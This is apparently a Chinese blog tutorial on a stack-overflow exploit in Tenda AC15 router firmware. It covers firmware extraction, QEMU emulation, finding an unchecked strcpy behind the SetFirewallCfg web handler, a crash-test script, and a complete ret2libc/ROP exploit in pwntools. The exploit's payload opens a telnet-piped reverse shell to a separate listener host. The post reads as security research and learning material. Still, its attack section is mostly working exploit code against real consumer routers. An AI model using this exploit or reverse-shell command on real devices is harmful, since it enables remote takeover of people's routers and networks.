新年学点新东西,主要是栈溢出在IOT实战当中的利用。
一、固件提取
这里直接从Tenda官网下载的历史版本固件
https://www.tenda.com.cn/download
1 2
| binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
还原出基本的文件系统结构

webroot目录为前端资源,bin目录为主要后端功能以及系统shell命令

Tenda路由器Web服务主要是用httpd服务启动的,因此我们首要分析httpd文件
固件基本信息:

二、固件模拟
使用qemu-arm-static直接运行程序发现无法进行启动Web服务

拖入ida看下程序流发现有两步检测,过不了就会进入死循环

简单patch一下

启动发现监听地址为255.255.255.255

简单跟了一下外部函数调用过程,在libChipApi.so中,get_eth_name函数存在网卡名称匹配传递参数操作

因此我们新建一个网桥
1 2 3 4 5 6 7 8 9 10 11
| # 创建网桥接口 sudo ip link add name br0 type bridge
# 将物理接口 eth0 加入网桥 sudo ip link set eth0 master br0
# 启动网桥接口 sudo ip link set br0 up
# 通过 DHCP 获取 IP sudo dhclient br0
|
成功启动,模拟完成


三、漏洞挖掘
根据Tenda的历史漏洞来看,scanf的格式化字符串漏洞和strcpy、sprintf、strcat这类字符串拷贝导致栈溢出的漏洞比较多,这里发现之前的CVE漏洞修复痕迹

全局搜索strcpy函数,发现这里一处未经长度限制的src直接拷贝给dest处开辟的栈空间


搜索字符串找到fromSetFirewallCfg调用,有SetFirewallCfg和GetFirewallCfg两个方法调用

sub_171EC的引用比较复杂,搜索了下发现存在websFormHandler,根据函数名猜测为Web与路由器交互注册的Handler

发现相关路由以及参数

测试下缓冲区溢出导致的程序崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
url = "http://192.168.106.145/goform/SetFirewallCfg" header = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "password=emt1qw" }
payload = "A" * 200 data = {"firewallEn": payload} response = requests.post(url, headers=header, data=data, timeout=5) response = requests.post(url, headers=header, data=data, timeout=5) print(response.text)
|
如图栈溢出漏洞测试成功

四、漏洞利用
这里考虑方便直接利用ret2libc获取system地址,然后就是正常做题思路
1.peda计算偏移
2.计算system在libc中的地址
3.利用ROPgadget寻找可以控制r0寄存器的gadget
4.寻找一条可以pop到r3的gadget
5.构造exp
最终payload(借鉴官方)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * import requests
url = "http://192.168.106.139" header = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "password=sds213" }
cmd = b"echo test;telnet 192.168.106.145 4444 | /bin/sh | telnet 192.168.106.145 5555"
libc_base_addr = 0xff58c000 libc = ELF("./lib/libc.so.0") system_offset = libc.symbols["system"]
system_addr= libc_base_addr + system_offset r3_pop =libc_base_addr + 0x00018298 move_r0= libc_base_addr+ 0x00040cb8
payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd
data = {"firewallEn": payload} response = requests.post(url + "/goform/SetFirewallCfg", headers=header, data=data) print(response.text)
|

PWN!